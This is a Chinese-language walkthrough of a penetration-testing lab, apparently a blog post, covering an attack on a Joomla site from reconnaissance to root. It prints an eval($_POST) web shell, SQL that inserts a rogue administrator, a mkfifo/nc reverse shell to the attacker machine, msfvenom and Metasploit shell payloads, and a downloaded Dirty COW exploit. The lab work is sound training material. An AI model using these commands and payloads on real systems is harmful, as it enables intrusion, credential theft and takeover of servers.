本文最后更新于 2024-09-03,文章内容可能已经过时。

红日内网综合靶场实战

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

一、靶场简介

VUL综合内网靶场

目标:获取到两台靶机的root权限

环境搭建:

两台虚拟机需要同时开启,且内网网卡需要和宿主机保持网络隔离,即选择的网卡为物理机上没有的网卡。如下图,应选择不带有“仅主机模式”、“NAT模式”的网卡,如 VMnet2

image-20240618100730020

访问对应的80端口,可以看见如下页面说明靶机搭建成功

image-20240618100745266

注意:由于VMware版本或AMD芯片兼容性的问题可能导致无法打开虚拟机,可以尝试升级虚拟机或更改硬件兼容性

image-20240618100815784

CentOS获取不到网络的解决方案:

  • 打开CentOS虚拟机所在的目录,找到 web.vmx
  • 将其中网卡MAC改为如下的值
ethernet0.generatedAddress = "00:0C:29:32:46:C9"
ethernet1.generatedAddress = "00:0C:29:32:46:D3"

image-20240618100858114

  • 再按照上面配置文件的值,对应修改虚拟机设置中的网卡MAC(需要在关机状态才能修改)
网络适配器为: 00:0C:29:32:46:C9
网络适配器2为:00:0C:29:32:46:D3

image-20240618101157918

环境配置信息:

kali(攻击机):	192.168.91.129
web-centos:	192.168.91.xxx		(外网主机)
web-ubantu主机:xxx.xxx.xxx.xxx		(内网主机)

image-20240618122327195

二、信息搜集

主机发现:

nmap扫描:

扫描网段信息:

nmap -sP 192.168.91.0/24

image-20240618103343261

发现外网主机ip地址:192.168.91.143

端口扫描:

扫描开放的端口信息和系统信息:

nmap -T4 -A -v -O 192.168.201.153

# 参数说明:
# -T4 		比默认速度稍快(级别1-5)
# -A		启用操作系统检测、版本检测、脚本扫描和路由跟踪
# -v		输出更多详细信息
# -O		输出目标主机操作系统及其版本信息

image-20240618105237378

可以看到目标主机开启了80端口和3306端口和22端口

80端口貌似是用nginx进行反向代理的。3306端口为mysql端口MSQL版本5.5.27

目标主机是Linux操作系统,Linux版本内核大致为 2.6.32-3.10

尝试访问目标主机80端口

image-20240618154100943

漏洞扫描:

nmap执行一下脚本漏洞扫描:
nmap --script=vuln 192.168.91.143

image-20240618152745044

没有太多可用信息,但是扫描出来了 /administrator/manifests/files/joomla.xml这个后台路径,访问一下

在页面中找到了支持的数据库类型列表

image-20240618153119536

使用awvs进行漏洞扫描:

image-20240618155547509

image-20240618155623585

image-20240618161019980

image-20240618160831418

扫描到了一个高危,网址信息: http://192.168.91.143/configuration.php~查看第一个高危漏洞信息

image-20240618161611603

image-20240618161738071

上述信息可以知道使用的数据库是mysql,用户名和密码也知道了。

使用远程连接工具,连接数据库

image-20240618162121023

继续查看有什么有价值的信息。

image-20240618162558670

测试XSS漏洞:

在搜索框测试下有没有xss漏洞可以利用

<script>alert(1)<script>

没有xss漏洞利用

image-20240618112846707

image-20240618144136745

登录界面尝试弱密码admin;admin登录。

尝试sql注入,无用。

子域名扫描:

使用浏览器Wappalyzer插件发现发现joomla cms系统

image-20240618112937501

安装使用joomscan进行扫描

https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl

小插曲:安装 perl joomscan.pl显示报错

image-20240618113418280

原因是Perl脚本在执行安装时无法找到LWP模块,解决方法:

安装LWP模块

sudo apt install perl-doc libwww-perl

重新运行安装脚本,出现如下:

image-20240618114125387

进行扫描:

perl joomscan.pl http://192.168.91.143/index.php

image-20240618114842779

无结果

再次扫描

perl joomscan.pl -u http://192.168.91.143/

image-20240618115717183

image-20240618115621590

可以看到还是扫描到了后台界面,/administrator/,和Joomla版本信息:Joomla 3.9.12

和配置文件目录,里面可能有mysql配置文件啥的,/configuration.php~

换一种扫描方式,使用dirsearch工具扫描子目录

 dirsearch -u  http://192.168.91.143/  

image-20240618115621590

image-20240618115717183

扫描到的比较重要的结果:

http://192.168.91.143/administrator/
http://192.168.91.143/web.config.txt
http://192.168.91.143/components/

扫描到了 http://192.168.91.143/administrator/后台目录,浏览器访问

image-20240618115759137

扫描到了 http://192.168.91.143/web.config.txt,浏览器访问

cb21e1deef5ffffb09503060effb3511

使用dirb进行扫描:

dirb http://192.168.91.143/ /usr/share/dirb/wordlists/big.txt

扫描到的有用的信息的网址:

http://192.168.91.143/administrator/

http://192.168.91.143/administrator/help/

http://192.168.91.143/components/com_banners/

http://192.168.91.143/1.php

访问 1.php,发现php信息,信息中显示资源来源于Ubuntu,Linux版本4.4.0.142

image-20240618150459584

发现另一台主机(内网)的ip信息和远程ip(内网)信息。发现资源存储路径为 /var/www/html

image-20240618151037467

发现禁用了一些函数

image-20240618151557680

访问 /components/com_banners/,如下

image-20240618150548273

访问 /administrator/help/ ,发现 helpsites.xml,进入查看发现如下信息,说明真的是joomla框架的CMS系统

image-20240618150646543

三、拖库

在信息搜集中已经得到了mysql的用户名和密码信息,并已经成功使用远程连接工具连接成功,并已经通过子域名扫描扫描出来后台登录页面,在joomla库的am2zu_users表中成功拿到用户的用户名和密码。

#得到的用户名和密码如下
administrator
$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2

image-20240618163104365

尝试使用用户名和密码登录后台页面,尝试登录失败,应该是加密过的,所以尝试插入新的用户进行登录

这里有两种方法

1.自己建个joomla然后新建用户把加密后的密码复制过来插入

2.用在线md5加密指定的用户名直接插入

这里选择第二种

image-20240618164634671

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'e10adc3949ba59abbe56e057f20f883e', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

image-20240618164846377

尝试使用新用户名进行登录

image-20240618164930215image-20240618164942328

成功登录到后台

四、写入木马Getshell

点击查看system中的Global Configuration(全局配置)

image-20240618165129876

查看网站模板(Extensions-->Templates-->Templates)

image-20240618165459375

image-20240618165433114

点击进入第二个,在index.php页面写入信息尝试,save保存后,到首页查看

image-20240618165815330

image-20240618170458452

发现可以写入,写入一句话木马保存后用蚁剑进行连接。

尝试蚁剑

eval ($_POST['123456']);

image-20240618171709984

image-20240618172648846

进入靶机虚拟终端,发现无法执行cmd命令,说明给禁用了。

选择蚁剑插件,绕过disable_functions

image-20240618172507690

选择模式-->PHP7 Backtrace UAF--->开始

成功执行cmd命令

image-20240618172933989

查看ip信息,结合信息搜集阶段拿到的1.php文件中的ip信息可以知道拿到的是内网web-centos的信息,为一台反向代理的服务器,web-ubuntu才是真正的服务器。

image-20240618174146782

image-20240618173127178

五、提权

**利用MSF中漏洞进行提权 **

(1)、msf要能连接ubuntu

(2)、利用木马

(3)、在kali中创建一个代理

(4)、利用第三方软件Neo

(1)、把Neo-reGeorg-master上传到kali中,并解压缩

unzip Neo-reGeorg-master.zip

(2)、生成一个php文件

python3 neoreg.py generate -k 123456
# 123456 :设置将来简介这个文件的密码
# tunnel.php   

当前是php应用,所以只要把 tunnel.php文件上传到ubuntu 上 ,利用蚁剑。

image-vnof.png

(3)、创建代理

python3 neoreg.py -k 123456 -u http://192.168.91.143/test_tunnel/tunnel.php

image-suyx.png

image-lbnr.png

netstat -anpt查看端口后,可以发现多出了一个1080端口服务

代理创建之后,可以在Kali中访问 ubuntu的服务 。

image-fbjv.png

image-jdwp.png

但是只能在浏览器中访问 内网服务,如果在Kali的其他软件中,是无法访问的,或者在其他主机上也无法访问 。

如果想在kali的其他软件中或者其他主机上访问内网服务,需要再Kali中配置全局代理 ..

(2)、配置全局代理

在Kali中修改一个配置文件 :

vi /etc/proxychains4.conf
# 在文档的最后  配置  
socks5 127.0.0.1 1080

配置全局代理之后,访问内网时 ,需要再前面加一个前缀 :

proxychains 
# 例如  :
proxychains curl http://192.168.93.120

MSF中获取内网的getshell

(1)、Kali浏览器配置代理

生成一个msf的linux正向木马,蚁剑上传到内网主机中,需要设置执行权限 ,使用disable_functions绕过的插件 .然后运行木马

msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4444 -f elf  -o linux_4444.elf

image-joqp.png

设置msf全局代理

msf6 > setg proxies socks5:127.0.0.1:1080  #设置代理
proxies => socks5:127.0.0.1:1080
msf6 > setg proxies   # 查看代理
proxies => socks5:127.0.0.1:1080
msf6 >

正向连接木马

use exploit/multi/handler 
set payload linux/x64/meterpreter/bind_tcp
show options 
set rhost 192.168.93.120
set rport 4444
run

image-iads.png

image-20240618195602303

这里直接获取到了root权限。

利用linux-exploit-suggester.sh查看可利用漏洞

上传linux-exploit-suggester脚本到目标主机上。 在蚁剑中更改权限为7777

image-20240618195602303

利用linux-exploit-suggester.sh查看可利用漏洞

centos提权

这里扫描到了脏牛漏洞

image-20240619023532420

下载后利用成功提权

wget https://www.exploit-db.com/download/40839
cp 40839 exp.c
gcc -pthread exp.c -o dirty -lcrypt
ubuntu提权

将绕过disable_function的shell反弹到centos上

centos执行:
nc -l 2333

ubuntu执行:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.91.129 2333 >/tmp/f

image-20240619023815088

成功getsll Ubuntu主机,上传脚本到主机,执行 ./linux-exploit-suggester.sh重新扫描看看有没有脏牛漏洞利用

发现脏牛漏洞

image-20240619024017959

下载 2021-3493编译执行,成功提权

image-20240619024128299

将rootshell反弹到msf上

use exploit/multi/script/web_delivery
set target 7  
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.91.129
set lport 4444
run

至此,提权成功。